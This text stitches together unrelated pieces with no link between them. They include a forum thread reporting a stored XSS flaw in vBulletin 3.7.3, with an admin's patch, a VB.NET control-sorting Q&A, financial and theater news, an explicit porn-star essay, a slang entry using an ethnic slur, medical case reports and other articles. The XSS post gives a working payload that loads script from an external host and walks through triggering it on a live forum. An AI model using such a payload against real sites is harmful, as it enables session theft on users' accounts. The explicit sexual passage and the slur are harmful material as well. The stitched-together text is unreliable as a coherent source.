vBulletin 3.7.3 PL1 XSS Vulnerability and Patch Fix
@ admin (shabbir)
Please don't ban me for this. Because I have not used this hack for any illegal / harmful purposes. (You can check all records). I have just tested an exploited and found it positive. Please fix it soon. I write this article so as to bring this thing to your eyes first, before anyone else knows about it and takes advantage.
Please do NOT reject this article and please approve it. Please don't remove this NOTICE section.
Action ;)
First, we must check the version of vBulletin used by G4EF :
(1) Open any page such as your user control panel.
(2) View the page-source.
(3) You discover this :
Code: css
The vulnerability :
When vBulletin is used with "Visitor Messages" add-on, we can easily execute external code by XSS vulnerability that exists. When the XSS script is posted as visitor message, the data is run through htmlentities(); before being displayed to the general public/forum members. However, when posting a new message, a new notification is sent to the commentee (the one who receives). And when the commentee visits usercp.php (User Control Panel), under the domain he is hit with an unfiltered xss attach !
How I tested it :
(1) I opened a duplicate account : _H4X0R_, which I request shabbir to kindly delete now.
(2) I posted some test visitor messages. The most interesting (and working) one was <SCRIPT SRC=http://ha.ckers.org/xss.js>
(3) I logged out.
(4) I logged in as _H4X0R_.
(5) Opened my user control panel : usercp.php.
(6) Whoa !! XSS successful !
Please don't use this knowledge for illegal/harmful purposes. This was written only for educational purposes.
I think I deserve some good reputation points and/or some rewards for this !
Sorry shabbir, for using duplicate account but you may delete it now. You should also understand that this was important for the security of the forum and so please don't ban me :p
Re: vBulletin 3.7.3 PL1 XSS Vulnerability and Patch Fix
Thanks for reporting Saswat and Upgrading to 3.7.6 is the preferred solution which we would also be doing it but here is the quick fix. Using vBulletin 3.7.3 and having all the functionality and plugins tested I preferred not to upgrade immediately ( Though I have the upgrade option ) and here is the patch for this Vulnerability.
Open usercp.php file
Go to Line Number 250
Find the following Code
$visitormessage['summary'] = fetch_word_wrapped_string(fetch_censored_text(fetch_trimmed_title(strip_bbcode($visitormessage['pagetext'], true, true), 50)));
$visitormessage['summary'] = htmlspecialchars_uni(fetch_word_wrapped_string(fetch_censored_text(fetch_trimmed_title(strip_bbcode($visitormessage['pagetext'], true, true), 50))));
vBulletin also recommendeds to upgrade to latest version which has all the fixes.
Re: vBulletin 3.7.3 PL1 XSS Vulnerability and Patch Fix
Glad to know that it's fixed. :)
Re: vBulletin 3.7.3 PL1 XSS Vulnerability and Patch Fix
ncie find. I really like XSS vulnerabilities. not 100% sure but i think its already reported to miliw0rm couple of months back.
Re: vBulletin 3.7.3 PL1 XSS Vulnerability and Patch Fix
What's miliw0rm ?
Re: vBulletin 3.7.3 PL1 XSS Vulnerability and Patch Fix
checkout miliw0rm.com , all the vulnerabilities which are found by different hackers and penetration testers are released under that program. Just search for "vbulletin" and you will see lots of them. This site plays a major role to help the developers of different CMSes to release a new version of their software after fixing the vulnerabilities.
Re: vBulletin 3.7.3 PL1 XSS Vulnerability and Patch Fix
Yeah, I got it. But it's not miliw0rm.com, it's milw0rm.com.
Lots of vulnerabilities and a md5 cracker too : perfect package for hackers.
Re: vBulletin 3.7.3 PL1 XSS Vulnerability and Patch Fix
yea sorry for that speling mistake.
Re: vBulletin 3.7.3 PL1 XSS Vulnerability and Patch Fix
Yes it was found on many other websites as well but no one had the Patch unless you upgrade the complete code and so here I provided the patch as well. Enjoy
Re: vBulletin 3.7.3 PL1 XSS Vulnerability and Patch Fix

Good day to all,
apart from it being my birthday, found some quick time to post this question on here.
I have a flowlayoutpanel, and a bunch of controls inside it.
I would like to actually SORT the controls, depending on some values.
For Example:
The FlowLayoutPanel has 4 Controls:
Each control has: Name (string), Maker (string) and Rated (integer) values.
So what I thought of was:
s AsNew
c As
MyOwnControl In
s.Add(c.title.Text, c)NextForEach
c As
CustomControl In
That would arrange the controls depending on the title.text each one has. Now this works but its not very optimal and it will dont work for DESCENDING or work properly with the Rated integer.
Now I had a search around forums and came across Icomparable, and decided to have a go at it but I can't really get it to work:
m_title AsStringPrivate
m_maker AsStringPrivate
m_rated AsIntegerPublicSubNew
thetitle AsString
, ByVal
themaker AsString
, ByVal
therated AsInteger
m_title = thetitle
m_maker = themaker
m_rated = theratedEndSubPublicFunction
AnEmployee AsObject
) AsIntegerImplements
(AnEmployee, Employee).Rated < Me
.Rated ThenReturn
(AnEmployee, Employee).Rated = Me
.Rated ThenReturn
(AnEmployee, Employee).Rated > Me
.Rated ThenReturn
title() AsStringGetReturn
Maker() AsStringGetReturnMyClass
Rated() AsIntegerGetReturnMyClass
.m_ratedEndGetEndPropertyEndClass' AND TO CALL IT is where I came across where I can't go on...:Dim
A AsNew
List(Of String
theEmployees() As
c As
MyOwnControl In
x AsNew
Employee(c.title.Text, c.maker.Text, c.rating.text)
A.AddRange(x)Next'didnt know how to add A to theEmployees (most of the code was grabbed from Microsoft's forums, and didn't fully understand it.
Array.Sort(theEmployees) 'call the CompareTo Dim
aEmployee As
aEmployee In
So as you can see I basiclly messed everything up..
All I wanted was a A..Z (Ascending) sorting option for either the Title, Maker or Rated, and a Z...A (Descending) sorting for the same.
If anyone can put me on the right track it would be great :) Thanks!
Answer 1
I've implemented custom IComparable exactly twice myself, and I don't recommend it. It's a painfully long way around in code.
The stock FlowLayoutPanel is a strange animal. The order in which control items contained in it are sorted (meaning the order they're presented in the flow direction) in the control is totally dependent on the Z-order, or the order in which they were
added to the control collection. There is no direct Z-order accessor, but you can use the BringToFront and SendToBack methods on each individual control; BringToFront immediately plants the control at the FRONT of the display and SendToBack immediately
plants it at the END.
There are a couple of ways to make this work to your advantage.
First, you already seem to have an array of custom controls that would be added to it (demonstrated in your first codeblock). What's handy about this is that you can iterate through that array to retrieve JUST the Name, JUST the Maker, or JUST the Rated
values. You load those values into an array of the appropriate type (string or integer) and then you just call System.Array.Sort(MyArray) - it sorts from A(a)-Z(z) and sorts numerics starting at 0 and climbing. Why this ascending-only sort is handy for you
is because there's also a System.Array.Reverse(MyArray) which instantly turns your neatly ascending sort into a perfect descending sort.
At this point you can iterate back through your original array of controls; match the sorted array value against the appropriate value in each control, and when you hit a match you just call SendToBack or BringToFront on that control and move on to the next
one. The thing to watch out for is that you ONLY send it to the back or the front once - if the FIRST element you call should be the FIRST in the display, you need to use SendToBack (which places it at the end of the display) and then it moves up to the front
as the other controls are called; if you use BringToFront then the first element you move ends up at the end of the display (which is also handy if you have a clear understanding of what's going on, since you can SKIP the whole array reversal after it's sorted
once if you know what you're doing with Z-order manipulation).
Answer 2
Thanks for your reply Andrew,
After reading your post thourougly, I found it quite usefull and had a play around my code.
So speaking about the Array part you were talking about, as I am not very good with them at the moment, I had a go at it but no luck.
It came down to the fact in
Dim myarray as array
I couldn't seem to find a way to actually add "values" to the array. I was trying stuff like:
For Each c As MyOwnControl In FlowLayoutPanel1.Controls
myarray.Add(c.rated.text, c)
But that doesnt work with Arrays, only with ArrayLists, but then with an array list I can't basiccly have 2 values in the List (one for the rated, and one for the control)
I am not sure what to do as arraylists dont seem to allow multiple values, therefore i wouldn't know which control is the highest one...
Btw, Just reposting the code above as for some reason its all spaced out for some reason:
Dim s As New SortedList
For Each c As MyOwnControl In FlowLayoutPanel1.Controls
s.Add(c.rated.text, c)
For Each c As MyOwnControl In s.Values
Thanks again for your time, and for helping me!
Answer 3
Dim IntArray(-1) As System.Int32
Dim StringArray(-1) As System.String
This creates 2 arrays; one for Integers and one for Strings. If you're only sorting by 1 property at a time, this works fine no matter how many properties are Strings or how many are Integers.
'Using this For signature allows you to iterate by index'rather than by object - provides more control.'I can't actually remember the last time I went by object,'but I'm pretty positive that at some point I had to go back to'rewrite the code to go by indexFor c_idx As System.Int32 = 0 to ubound(FlowLayoutPanel1.Controls)
'This is my 'best practice' recommendation'It allows you to have multiple control types in 'your FlowLayoutPanel, and only muck around with'the specific type that is yours.Dim ThisControl As System.Windows.Forms.Control = FlowLayoutPanel1.Controls(c_idx)
IfTypeOf ThisControl Is MyOwnControl ThenRedimPreserve IntArray(c_idx)
IntArray(c_idx) = CType(ThisControl,MyOwnControl).rated
'I'm assuming here that rated is actually an Integer value'If Rated is instead a nested object with a Text Property'(as your last code post suggests) then you can use'the StringArray instead of the IntArray.EndIfNext c_idx
Answer 4
Thanks for helping, ive learnt a lot of your code there.
Error 1 Value of type 'System.Windows.Forms.Control.ControlCollection' cannot be converted to 'System.Array'.
Thats the only problem i had, was the Ubound. So I changed it to For c_idx As System.Int32 = 0 To FlowLayoutPanel1.Controls.Count
And how would I continue by making that sorted array into controls?
Answer 5
I'm not providing any more code, sorry.
But as I outlined in previous posts, your next step is to take your known value and iterate back through the already existing controls to match the sorted known values against the contents of those existing controls.
Answer 6
Oh well, seems Ill have to forget sorting them as I have no clue thats why I asked :/
Thanks anyway for your help

I've been wanting to try this beer for a good long time.

This seems even more experimental than usual for them,

When I first saw that Sam Adams bottled a sahti, I was pretty impressed in all honesty. The traditional Finnish brew is an uncommon style even in the world of craft beer, meaning I was immediately eager to give it a shot. SA has been taking a lot of risks lately with their small-batch series,

Most investors are aware of the market's dividend behemoths, such as Procter & Gamble and 3M, which have been consistently paying and increasing their dividend payouts for 56 and 54 years, respectively.
However, there a few companies that have a longer payout history than these dividend giants. Currently, two of these dividend old-timers offer yields that exceed 4%.
The company with the longest dividend history is Diebold (NYSE: DBD ) , which has been consistently paying and increasing its dividend for 60 years. Coming in second is American States Water (NYSE: AWR ) , which currently has a yield of 2.9%, with a payout history stretching back 58 years. In third place is Dover (NYSE: DOV ) , with the lowest yield in the group at 1.7% and a payout history of 57 years. Dover has the same payout history as Northwest Natural Gas (NYSE: NWN ) , which offers a yield of 4.2%. Interestingly, all of these companies (excluding Dover) have a market capitalization of less than $2 billion. It appears that in this case, smaller is better.
What's the reason behind the payout history?
If there's one thing all that all four of these companies have in common, it's age -- and with age comes experience. In particular, both Diebold and Northwest have more than 150 years of history behind them. American States first came into existence back in 1929, when the company acquired its first water systems. Dover is only a baby in comparison, but as the largest of the four companies, its size makes up for its lack of experience.
So how have these companies been able to consistently pay a dividend for more than half a century? For a start, American States provides an essential service to more than 1 million people throughout California and portions of Arizona. The company is a holding company with many smaller utility subsidiaries under its umbrella. Many of the services that American States provides are high-margin, and as such the company is highly cash-generative and reported a gross margin of 84% for fiscal 2012.
Northwest Natural Gas operates similarly. As a provider of natural gas to more than 686,000 homes and businesses within 107 communities in Oregon and Southwest Washington, the company has a certain amount of pricing power. This allows it to achieve high profit margins. Moreover, thanks to the sliding price of natural gas during the past five years, the company has seen its gross margin nearly double from 34% to 51%. Depreciation costs have hit its net income, however, so the company's net margin stood at 8.2% for fiscal 2012. This is still 0.8% higher than the net margin reported during 2009, though.
What's more, it appears that Northwest is loved by its customers, as the company has ranked highest among the Western U.S. large utilities for customer satisfaction in the J.D. Power Gas Utility Residential Customer Satisfaction Study for three out of the past six years.
Diebold's specializes in locks, safes, and security. The company made a name for itself back in 1871 when the Great Chicago Fire destroyed everything within a four-mile radius except for 878 Diebold safes, which remained intact. Diebold is now in charge of protecting such items as the U.S. Constitution, the Bill of Rights, and the Declaration of Independence. The company is also a leader in its field for ATM production and design.
Will these payouts continue?
With each company notching up more than half a century's worth of payout history, how much longer will these payouts last? In the case of Northwest, I would say the company has plenty of room for another 50-plus years of payout growth. During fiscal 2012, the company's cumulative dividend payout of $48 million for the whole year was covered more than three times by the company's operating cash flow of $169 million. American States is also easily able to cover its cumulative annual dividend payout of $24 million, as it reported an operating cash flow of $101 million for fiscal 2012.
Unfortunately, Diebold's payout could come under some pressure in the near future. During fiscal 2012, the company's cumulative dividend payout of $73 million was less than two times covered by its operating cash flow of $135 million. What's more, Diebold's operating cash flow has been falling consistently since 2009 from a high of just less than $300 million to the current figure of $135 million. That makes Diebold one to watch for the moment.
Dover, on the other hand, was easily able to cover its cumulative $184 million dividend payout during 2012 with an operating cash flow of $730 million. The company also brought back $400 million worth of stock during the period.
Foolish summary
In some cases, past performance is a good indicator of future returns. Based on the dividend history of these four companies, I believe they will be able to maintain their dividend payouts for many years to come. Indeed, all four companies have good reputations, and their cumulative dividend payouts are generally well-covered by free cash flow.
If you're looking for dividend security for many years to come, these companies could be your best choice.
More Income Investment Ideas
Dividend stocks can make you rich. While they don't garner the notoriety of highflying growth stocks, they're also less likely to crash and burn. And over the long term, the compounding effect of their quarterly payouts, as well as their growth, adds up faster than most investors imagine. With this in mind, our analysts identified nine rock-solid dividend stocks in this free report.

RSPB Scotland has today welcomed the publication of the Scottish Government report Wildlife Crime in Scotland and is calling for a Parliamentary debate to discuss the issue.
The annual report provides information to assist the Scottish Parliament in monitoring progress of wildlife crime enforcement and reduction measures.
The results of the report demonstrate that wildlife crime still touches many of Scotland's rarest and most vulnerable animals and plants. While the report highlights a welcome reduction in the number of reported poisoning incidents against birds of prey in 2012, the nature conservation charity remains concerned that some criminals may have changed tactics from illegal poisoning to trapping, shooting and nest destruction, and is calling for more resources to tackle and prevent these crimes.
Duncan Orr-Ewing, RSPB Scotland Head of Species and Land Management, said: "We welcome the publication of this report and the continuing commitment of the Minister and the Scottish Government to wildlife crime enforcement and prevention. We hope this report will stimulate a good discussion by our law makers, particularly around the level of policing and other agency resources that are required to effectively tackle these crimes in both urban areas and the countryside.
"As the Year of Natural Scotland comes to a close, we must acknowledge that wildlife crime is still widely regarded as a blight on the reputation of Scotland as a place which gives its important natural heritage a safe home. Three golden eagles were identified as victims of wildlife crime in 2012. Regrettably, these victims included a golden eagle shot in the south of Scotland, where the species is already struggling to maintain a toehold, and adds to the depressing list of crimes in recent years against what is regarded by many as our national bird.
"We hope that the reduction in reported illegal poisoning of birds of prey in 2012 will be maintained, and that we see a clear effect on the ground with birds of prey returning to our skies in areas where they are currently absent."
Nature in the UK is in trouble and some of our more familiar garden species are amongst those suffering serious declines. We can all help by giving nature a home where we live.

Being asked to name your favorite gay porn star is a bit like being asked to name your favorite color. Hundreds of answers are possible. But if someone put a gun to my head and said they would shoot me if I didn't name my favorite porn star right then and there, I would say "the young Chad Conners", and not just out of panic.
There was something about Chad, in his earliest version, that fused every preference of my erotic mind into one crackling synergy of electric horniness that Nikola Tesla would have admired. When he first came onto the scene, Chad had the build of a young Australian amateur rugby player, but also embodied the all-American frat/jock. Blond, perfectly proportioned with natural beefiness sculpted by years of sweaty high school sport workouts followed by tank-top college barbells, Chad also had and continues to have possibly the finest armpits of any man in the world.
One of the original power-bottoms, a contemporary of Joey Stefano, he looked so incredibly amazing whether on his back, with those enormous thighs spread wide, or bent over, with that triangular back and perfect ass spread out begging — Chad was a very verbal greedy bottom — for as much cock as he could get. He liked getting fucked hard, and in my fantasies, a guy that looks like this and has a deep voice and plays a lotta sport but who can't get enough cock up his ass all night long is just spank-bank central.
Observe the magnificence:
But then, and I would never say anything libellous like he started shooting juice or whatever, he went from juicy jock to butcher shop bodybuiler and my crush went cold. I mean, look:
He even had to go and get the just-add-water snake upper arm tattoo. And, a certain aggressive glare crept into his eyes — can you see it? He would still take your cock without you having to ask, but there was an insolence that hadn't been there before. I was shattered as he got bigger and bigger, and his performances more and more robotic, it was like a gay porn version of Frankenstein, without the emotion.
But then, Chad morphed anew, and my candle went all blowtorch again. Like a lot of bodybuilders, without the constant maintenance (of all kinds), veiny musculature can turn to beefy flab quite quickly. And if there's one thing I find hotter than a young Aussie rugby champ/all-American jock, it's a heading-towards-40 man who has built a powerful body but now enjoys beer as well as benchpressing.

Tuners rack up nine nominations each
With Tony nomination coming today, Monday's Drama Desk nominations have, as many such lists do, stirred up as much talk about who was overlooked as who actually got the nod.
Recently opened Broadway play "Enron," for instance, continues to have a difficult time impressing American kudo committees. Although it proved a hit in London, the show, which divided U.S. critics, got only a single Drama Desk nom for sound design (Adam Cork).
And in a year that has seen many of the season's big-name actors score recognition beyond the box office, the Drama Desk noms left out heavy hitters, including Denzel Washington ("Fences"), Hugh Jackman and Daniel Craig (both of "A Steady Rain") and Sean Hayes and Kristin Chenoweth (from "Promises, Promises"). Nominators did, however, tap celebs including Jude Law ("Hamlet"), Christopher Walken ("A Behanding in Spokane"), Catherine Zeta-Jones ("A Little Night Music") and Scarlett Johansson ("A View from the Bridge").
In general, the Drama Desks don't serve as much of a bellwether for the season's Tony nominations (announced this morning), particularly since both Broadway and Off Broadway offerings vie in the same categories for Drama Desks, whereas only Main Stem productions are eligible for Tonys.
The Broadway revival of "Ragtime," which had a brief, disappointing run earlier in the season, topped the list of nominations with nine, along with Off Broadway musical "The Scottsboro Boys," the Kander and Ebb tuner that preemed at the Vineyard this spring and is likely to land on Broadway next season.
In the top tuner race, "Scottsboro" is up against Broadway's "The Addams Family" (eight noms), "Memphis" (seven), "Everyday Rapture" (five) and "American Idiot" (three), along with Off Broadway's "Yank!" (seven).
The play category includes Main Stem offerings "Red" (seven nominations) and "Next Fall" (two) along with Off Broadway's "Circle Mirror Transformation" (two), "My Wonderful Day" (two), "Happy Now?" and "Clybourne Park" (one apiece).
Acting ensemble awards will go to the casts of "Circle Mirror Transformation" and "The Temperamentals." Special awards will be doled out to the cast, creative team and producers of Horton Foote marathon "The Orphans' Home Cycle" (which has gotten a lot of award attention this season), composer Jerry Herman, Godlight Theater Company and Ma-Yi Theater Company.
Winners will be announced in a Gotham ceremony set for May 23.

A game mexicans play north of the Mexico border that requires a ball and a group of mexicans or hispanic people. (Also known as beaner-ball)
They're hogging the court again with another game of bean-ball.

Can you define these popular missing words?
Top Definition
A ball that hits the batter. Batter automatically gets to take first base. If bases are loaded, he gets an RBI (although in this case it's more a run beaned in then batted in ;) )
OUCH, again with the bean ball? Come on umpire, eject this maniac!

After six years of dating, Ali Landry's marriage to Mario Lopez ended in a matter of weeks when she discovered he had cheated.
So when it came time to get serious with now-husband Alejandro Monteverde, the Hollywood Girls Night star, 38, had one rule – abstinence.
"Because of the situation I was in before, I was just treading lightly, and did not want to make any mistakes in this relationship," Landry explains on an episode of The Wendy Williams Show airing Thursday. "We abstained from having sex until we got married."
Having wed the director in 2006, Landry – now mom to daughter Estela, 4½, and son Marcelo, 5 months – says her experience with Lopez taught her to listen to her heart.
"I had heard something right before the wedding. He swore that it was not true, but I had that feeling in my gut," she says. "All of my family was flying in – it was a destination wedding – and I really should have put the brakes on it at that point, but I was afraid."
Her suspicions aroused, a friend of Landry's offered up her phone-tapping skills.
"I was like, 'I don't want to tap a phone! I can't believe I'm doing this.' So she did, and right after the honeymoon I started getting phone calls from these girls," she recalls. "I confronted him and he still – to this day – denied it and never apologized. It was horrible."
Two weeks after the wedding, Landry filed for an annulment of her marriage, which was soon granted. Crushed, the actress found herself seeking solace in religion – which led her to Monteverde.
"I was so side-swiped by the whole thing ... I never really got angry. I discovered a lot about myself and I'm a better woman because of it," she notes. "I met my husband at a theology class in L.A. – who knew? He was the person I was meant to be with."
Ali Landry Didn't Have Sex Until Marriage

Mesectodermal leiomyoma of the ciliary body is a rare tumor originating from smooth muscle, having both muscular and neural differentiation.1 The first case was reported in 1977, and so far 24 cases have been reported.1 It should be considered in the differential diagnosis of an amelanotic melanoma, especially in young people. Herein, we report a case of mesectodermal iridociliary leiomyoma in a young man, showing the results of ultrasound biomicroscopy, 3-T magnetic resonance imaging, histology, and immunohistochemistry. The tumor was excised en bloc by a transscleral approach and later treated with ruthenium 106 plaque brachytherapy.
Figure 1. Preoperative slitlamp photograph, ultrasound biomicroscopy image, and magnetic resonance images. A, Slitlamp photograph shows a vascular lesion in the nasal iris of the right eye pushing the normal iris tissue centrally. B, Ultrasound biomicroscopy shows a low reflective solid mass arising from the ciliary body and involving the iris. C, Axial magnetic resonance image shows a well-defined mass (arrow) in the ciliary body and iris of the right eye. The lesion is hyperintense to the vitreous on the T1-weighted image with fat suppression. D, A T1-weighted magnetic resonance image shows the same lesion (arrow) with marked enhancement after gadolinium administration.
Figure 2. Histologic findings and postoperative slitlamp photograph. A, The tumor removed in this case had elongated spindle cells with oval nuclei (hematoxylin-eosin, original magnification ×40). B, Tumor cells had immunoreactivity for CD56 antigen (original magnification ×40). C, Tumor cells had positive staining with neuron-specific enolase (original magnification ×40). D, Slitlamp photograph of the same eye 20 days after the excision of tumor shows no iris defect.

You won't see many Flyers-related gifts under Christmas trees this year.
Fans are fed up with the NHL's lockout - the third work stoppage in the last 19 years - and some say they won't watch the sport when the labor dispute ends.
As a result, fans seem reluctant to shell out money for gifts connected to hockey.
"I will not be back," said Jeff Jenkins, a Richboro resident who sells recognition award programs to businesses and hospitals. "I have done without hockey for three months and have more time for other things now. The league does not deserve my money. I have spent over $100,000 on Flyers hockey in the past 20 NHL seasons. No more. I am done."

Other than not going into the red zone on the screen (not sure what display that is yet), what should I do or not do in the first few hundred miles? Is breaking in a pc more or less the same as other new cars? I'd love any advice. I'm in the northeast and will drive in wintery weather, if that makes any difference in starting the car off right.

Virgin Falls Pocket WIlderness
I strive to simplify my life, but my efforts always fail where photography is concerned. Frustrated by this paradox, inspired by the cosmos one starry night, I formulated a theory, if for no other reason than to pacify my minimalist mind.
Essentially, photography has not simplified with time. Technological advances in equipment, at first, appear to facilitate the process. However, there is a finite amount of photographic intricacy. It cannot be created nor destroyed, only transferred, regardless of any advancesthus, my Theory of Conservation of Photographic Complexity, a universal constant.
The digital camera is a prime example. Here is a device with the potential to drastically simplify photography. Compose. Shoot. Confirm. Delete. Repeat if necessary. Sounds about as difficult as using shampoo. Wilderness photography conforms to different rules, though. With its requirement for self-sufficiency, there is often as much art in orchestrating the equipment, as in the image itself.
To test my theory, I planned to upload daily dispatches to my web site from Virgin Falls Pocket Wilderness, located in the hills of east Tennessee (after all, an image destined for the web remains unfinished until it resides on a server). So, I headed out equipped with nothing more than I needed for some hi-tech, backcountry photographya laptop, digital camera, cell phone and, of course, enough power and cables to wire the woods.
It is not a far cry from what was undertaken by wilderness photographers of the late 1800s like William Henry Jackson, who explored the American West with glass plates and monstrous cameras strapped to the sides of mules. I read once that he melted snow to process his work out in the field. The melted snow of yesterday is the rationed power of today. The fragile glass plates are the laptop. Technology replaces the mulestill full of power, but stubborn and unreliable. And the camera is, well, still the camera.
Although Tennessee recognizes Virgin Falls Pocket Wilderness as a state natural area, a local paper company, Bowater, actually owns the area. They generously allow public access to their extraordinary land. Nestled in the heart of Tennessee's highland rim, only 100 miles east of Nashville, the lush canopy of Virgin Falls echoes with the wild sounds. Below, the earth conceals the mysteries of numerous sunless caves. Streams lined with neon green ferns whisper through the flat lands, then roar as they flow downhill.
Some disappear underground while others join the Caney Fork River as it pushes through the region. Especially during wet weather, some of these streams can be dangerous to cross.
Virgin Falls itself is an awesome 110-foot falls. Above, swift moving water emerges from a cave, thunders over the falls, then disappears again at its basetruly one of Tennessee's natural wonders.
This same beauty that had inspired me to photograph quickly turned against me upon my arrival. On my first day the sky opened with a vengeance, creating some some interesting mud formations on my gear and necessitating the safe storage of a lot of electronics, which were triple-sealed in plastic bags.
Day two started off humid and gradually progressed to unbearable. The supersaturated air condensed on the outside of the camera whenever I shot. In my mind, I could see the circuitry inside beaded with moisture. I photographed near one of the falls just for the cool mist, but that did not ease my mind anymore than the humid forest. But I was here on a mission, regardless of uncooperative elements. Unfortunately, the problems didn't end with the weather.
During my trip preparation, I checked the web for a cellular coverage map of Tennessee. As luck would have it, Virgin Falls sat poised on the edge of a signal sphere and a zero-coverage black hole. Since cellular is a line-of-sight signal, I knew the hills in the area were either going to save me, or bury the whole project before it started. The first and second day it buried me and my spirits in the mud without a signal. Nevertheless, I went through the motions of plugging my images into the hypertext skeleton I had prepared (all documents on the web are coded using Hypertext Mark-up Languageor HTML. It is the language of the web). At the end of the second night, already as many days behind schedule, there was my journal, all marked-up and nowhere to upload.
Not until the third day did I finally find a cellular signal on an exposed ridge. By that time, the constant searching had taxed the phone's power supply. It flashed a low battery warning, beeped its last beep, then died. Necessity is not so much the mother of invention as is desperation. I had no intention of reducing my well-planned, hi-tech excursion to a leaded-backpack of dead batteries and useless electronics.
Inspiration struck over a freeze-dried lunch. My Hi-8 video camera uses 12 volt batteries, just like the cell phone. With no other options, I had nothing to lose. Breaking my Swiss Army knife tweezers into two strips of metal, I ran a connection from the battery contacts to the back of the phone positive to positive, negative to negative, the whole mess duct-taped securely into place. When I hit the power, the display lit up and welcomed me with a signal indicator.
Before my luck ran out, I connected to the Net at a meager 4800bps, and started the long upload. Although slow and painful, it was better than nothing, and actually not a bad speed for a cellular connection.
I sat for a moment a watched the upload progress bar. A beam of light cut through the forest, and distracted my attention long enough for my thoughts to wander. The Theory of Photographic Complexity was now a law, tested and proven. But, I no longer resented it as I had in the past. I embraced it and all that it representedthat photography is no longer what it was, yet is fundamentally the same. It is pixels, computers, and digital cameras, PhotoCDs and Photoshop. It is an amorphous blob with no hope for simplicity, only possibility.
For the first time in a long time, I felt nothing else could go wrong. I walked off to photograph, leaving the laptop on its rock to churn out a binary stream into the ether.

To the Editor.—The article by Wise and Todd in the December issue of the Journal (126:766, 1973), describing their experience with lower extremity venous thrombosis, was most interesting.
We recently studied a 12-year-old previously healthy girl with massive left ileofemoral venous thrombosis associated with an elevated cold agglutinin titer and complicated by multiple small pulmonary emboli. Following a "flu-like" illness of one week's duration for which she was treated at home with an antibiotic, the child was admitted to the hospital with a painful swollen left groin. The edema rapidly progressed to involve the entire lower extremity. A venogram showed complete obstruction of the deep venous system. She subsequently developed signs, both clinically (chest pain) and on lung scan, of several small pulmonary emboli.
As mentioned, her illness was associated with a marked elevation of cold agglutinins to 1:2, 048. Careful search was made for underlying collagen disease, malignant neoplasm, etc,

Always Contest Your Home's Tax Assessment
|Email Print
If you own a home, every few years the state or county will come by and guess how much your house is worth and they will likely be very generous with that guess. While this high estimate will make you feel good about the state of your home and of the housing market, you will quickly lose that feeling once they send you the bill for your real estate taxes! This is where it pays to understand that you can contest your home's tax assessment and that it's a relatively painless process that could have a quick resolution if you're lucky. I think it always pays to contest that home value assessment (unless you just bought your house, then your home's value is assessed at the sale price and there's no way you can get that lowered) because sometimes you can get lucky and just get it readjusted downward.
My friend Tony was telling me the other day how he just got reassessed and his house value was jacked up (almost unreasonably), so he went through the process of collecting recent sales, comparables, and all the other documents you need to fight the crazy high adjustment (the same things that home appraisers look at). When the time came for him to fight his case, he was all prepared and psyched up for a long drawn out battle, but his assessor just agreed that her initial guesstimate was too high and she'd lower the appraisal! All it took was one phone call!
Tony also noted that the softening housing market could be a benefit for homeowners not looking to sell because you can argue that your home is less valuable than it really is because of the housing market. If comparable sales are now lower, use those as examples of how your house lost value. If you can get over the idea that your home is less valuable (at least on paper), you can save yourself some serious cash in terms of real estate taxes.{ 7 comments, please add your thoughts now! }

BEREA - Browns linebacker D'Qwell Jackson took a trip during the offseason that he won't forget anytime soon.
Jackson was part of a small group of NFL players who traveled to Afghanistan to visit U.S. military troops. The trip was arranged by the NFL and the USO.
Jackson gained a newfound respect for the military. He said he felt safe during the visit, but there was an occasion when the situation got uneasy.
"We actually had a missile attack at one of the camps we were staying at," Jackson said. "It was a false alarm. That day we had a full day and I slept through it. It was reality in your face. It was no joke."
What caught Jackson's attention were the looks on the faces of soldiers who were arriving back to the base from a combat zone compared to those who were preparing to move to the zone.
"The guys that were coming back were smiling," Jackson said. "On the other hand there were guys with their headsets on. That's when I started getting nervous. You look around for a kid that's going to freak out. Not at all. Those kids were as calm as day."
The intent of the trip was to cheer up the troops. If anything, it worked in reverse.
"They said we did everything for them, but just to be around those guys and to hear their personal stories was definitely amazing," he said.
That will change today when Lombardi and Banner address the media in a pre-draft press conference. Don't expect any revealing details. Pre-draft press conferences are designed to do nothing more than confuse the opposition with misinformation.
"I don't know too much of what's going on with that situation," Chudzinski said. "I have enough on my plate here. Nothing has changed in terms of us and what we're doing."
"It puts a ton of pressure on you," Kruger said. "That's a good thing. That's what sports are all about. There's a lot of pressure around it. It's good, too. It gets you excited to come out here and work hard."

Broad tack expected in implementing Volcker rule
Top US financial regulators charged with issuing recommendations on how to implement the Volcker rule appear to be leaning against suggesting precise rules for specific assets or trades, and instead might focus on the amount of risk being carried by a firm or trading desk, according to people briefed on the negotiations.
Included in the sweeping financial-overhaul law passed last summer, the Volcker rule, named for former Federal Reserve Chairman Paul Volcker, seeks to prevent banks from putting capital at risk by prohibiting proprietary trading and banning certain relationships with hedge funds and private-equity funds. It left much of the details on how to do that with regulators.
After months of sometimes tense work, financial regulators reached a tentative deal in recent days on recommendations about how the Volcker rule should be implemented, said one industry official briefed on the situation. The study is expected as early as Tuesday, when the regulators who comprise the administration's Financial Stability Oversight Council meet.
What is becoming clearer is that the document likely won't propose that regulators look at each and every trade, people briefed on the matter said. Instead, it will discuss reviews of large trades and the amount of risks firms are taking on a broader basis. Regulators would then decide whether trading desks are taking on too much risk. This approach would be seen as a win for the financial industry, and could irk Democrats who pushed the provision into law last year.
Another concept that could be aired: giving Wall Street firms some say in defining what they do to meet clients' needs, an area of activity exempt from the rule. Federal regulators would adjust or reject the firms' approach and hold them accountable for sticking to their plans, these people say. As a result, a trade that sets off Volcker detectors at one firm might pass muster at another.
One of the hardest problems facing regulators is measuring the risk a firm is taking on. Among the factors likely to be discussed in the study are the size of the position, how long it will be held for and something called the Sharpe Ratio, people briefed on the discussions said. The Sharpe Ratio is a risk measurement developed by Nobel laureate William F Sharpe that shows the trade-off between risk and return.
While the report is likely to include some minor bright points in the eyes of Wall Street, analysts still expect the Volcker hit to be significant. JP Morgan for example predicted that the rule change will shave 14% off estimated earnings for Goldman Sachs and Morgan Stanley in 2012 as "pure proprietary" trading desks are shut down. A few major Wall Street firms, including Goldman and Morgan Stanley, have seen high-profile traders depart or plan to start new firms in anticipation of the new restrictions.
Critics of the Volcker rule warn its restrictions will put US banks at a disadvantage compared with its foreign competitors. JP Morgan's report said European investment banks will be "the clear winners" since regulators there appear opposed to implementing Volcker-like rules.
The study is likely to contain harsh language in the way it describes and analyses proprietary trading, including a discussion of why it is risky and should be regulated, said people briefed on regulators' thinking.
